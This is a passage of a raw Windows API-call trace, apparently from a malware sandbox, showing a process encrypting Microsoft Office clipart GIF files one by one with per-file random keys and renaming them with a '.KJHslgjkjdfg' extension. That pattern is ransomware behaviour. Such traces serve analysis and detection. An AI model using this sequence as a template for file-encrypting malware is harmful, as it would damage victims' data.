CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.384] WriteFile (in: hFile=0x138, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0219.384] WriteFile (in: hFile=0x138, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0219.384] WriteFile (in: hFile=0x138, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0219.384] WriteFile (in: hFile=0x138, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0219.384] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0219.385] WriteFile (in: hFile=0x138, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0219.385] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.385] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.385] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.385] ReadFile (in: hFile=0x138, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x124a, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x124a, lpOverlapped=0x0) returned 1 [0219.386] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1250, dwBufLen=0x1250 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1250) returned 1 [0219.386] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.386] WriteFile (in: hFile=0x138, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1250, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x1250, lpOverlapped=0x0) returned 1 [0219.386] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.386] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x1324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.386] SetEndOfFile (hFile=0x138) returned 1 [0219.388] GetProcessHeap () returned 0x990000 [0219.388] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.388] GetProcessHeap () returned 0x990000 [0219.388] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.388] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00516l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00516l.gif.kjhslgjkjdfg")) returned 1 [0219.390] CloseHandle (hObject=0x138) returned 1 [0219.390] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2017, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB00531L.GIF", cAlternateFileName="")) returned 1 [0219.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00531l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0219.391] GetProcessHeap () returned 0x990000 [0219.391] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.391] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.391] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0219.392] WriteFile (in: hFile=0x138, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x9, lpOverlapped=0x0) returned 1 [0219.393] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.393] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.394] GetProcessHeap () returned 0x990000 [0219.394] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.394] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0219.394] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.394] WriteFile (in: hFile=0x138, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0219.394] WriteFile (in: hFile=0x138, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0219.394] WriteFile (in: hFile=0x138, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0219.394] WriteFile (in: hFile=0x138, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0219.394] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0219.394] WriteFile (in: hFile=0x138, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0219.394] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.394] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.394] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.394] ReadFile (in: hFile=0x138, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2017, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x2017, lpOverlapped=0x0) returned 1 [0219.395] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x2020, dwBufLen=0x2020 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x2020) returned 1 [0219.395] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.395] WriteFile (in: hFile=0x138, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2020, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x2020, lpOverlapped=0x0) returned 1 [0219.395] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.395] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x20f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.395] SetEndOfFile (hFile=0x138) returned 1 [0219.396] GetProcessHeap () returned 0x990000 [0219.396] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.396] GetProcessHeap () returned 0x990000 [0219.396] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.396] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00531l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00531l.gif.kjhslgjkjdfg")) returned 1 [0219.398] CloseHandle (hObject=0x138) returned 1 [0219.398] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x20ee, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB00673L.GIF", cAlternateFileName="")) returned 1 [0219.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00673l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0219.399] GetProcessHeap () returned 0x990000 [0219.399] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.399] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.399] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0219.399] WriteFile (in: hFile=0x138, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x2, lpOverlapped=0x0) returned 1 [0219.402] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.402] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.402] GetProcessHeap () returned 0x990000 [0219.402] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.402] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0219.402] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.402] WriteFile (in: hFile=0x138, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0219.402] WriteFile (in: hFile=0x138, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0219.402] WriteFile (in: hFile=0x138, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0219.402] WriteFile (in: hFile=0x138, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0219.402] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0219.402] WriteFile (in: hFile=0x138, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0219.402] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.402] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.402] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.402] ReadFile (in: hFile=0x138, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x20ee, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x20ee, lpOverlapped=0x0) returned 1 [0219.403] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x20f0, dwBufLen=0x20f0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x20f0) returned 1 [0219.404] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.404] WriteFile (in: hFile=0x138, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x20f0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x20f0, lpOverlapped=0x0) returned 1 [0219.404] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.404] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x21c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.404] SetEndOfFile (hFile=0x138) returned 1 [0219.406] GetProcessHeap () returned 0x990000 [0219.406] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.406] GetProcessHeap () returned 0x990000 [0219.406] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.406] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00673l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00673l.gif.kjhslgjkjdfg")) returned 1 [0219.408] CloseHandle (hObject=0x138) returned 1 [0219.408] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2026, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB00703L.GIF", cAlternateFileName="")) returned 1 [0219.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00703l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0219.410] GetProcessHeap () returned 0x990000 [0219.410] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.410] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.410] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0219.410] WriteFile (in: hFile=0x138, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xa, lpOverlapped=0x0) returned 1 [0219.413] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.413] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.413] GetProcessHeap () returned 0x990000 [0219.413] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.413] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0219.413] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.413] WriteFile (in: hFile=0x138, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0219.413] WriteFile (in: hFile=0x138, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0219.413] WriteFile (in: hFile=0x138, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0219.413] WriteFile (in: hFile=0x138, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0219.413] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0219.413] WriteFile (in: hFile=0x138, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0219.413] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.413] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.413] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.414] ReadFile (in: hFile=0x138, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2026, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x2026, lpOverlapped=0x0) returned 1 [0219.414] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x2030, dwBufLen=0x2030 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x2030) returned 1 [0219.414] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.415] WriteFile (in: hFile=0x138, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2030, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x2030, lpOverlapped=0x0) returned 1 [0219.415] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.415] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x2104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.415] SetEndOfFile (hFile=0x138) returned 1 [0219.417] GetProcessHeap () returned 0x990000 [0219.417] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.417] GetProcessHeap () returned 0x990000 [0219.417] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.417] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00703l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00703l.gif.kjhslgjkjdfg")) returned 1 [0219.419] CloseHandle (hObject=0x138) returned 1 [0219.419] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2313, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB00760L.GIF", cAlternateFileName="")) returned 1 [0219.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00760l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0219.420] GetProcessHeap () returned 0x990000 [0219.420] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.420] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.420] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0219.420] WriteFile (in: hFile=0x138, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xd, lpOverlapped=0x0) returned 1 [0219.422] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.422] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.422] GetProcessHeap () returned 0x990000 [0219.422] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.422] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0219.422] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.422] WriteFile (in: hFile=0x138, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0219.423] WriteFile (in: hFile=0x138, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0219.423] WriteFile (in: hFile=0x138, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0219.423] WriteFile (in: hFile=0x138, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0219.423] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0219.423] WriteFile (in: hFile=0x138, 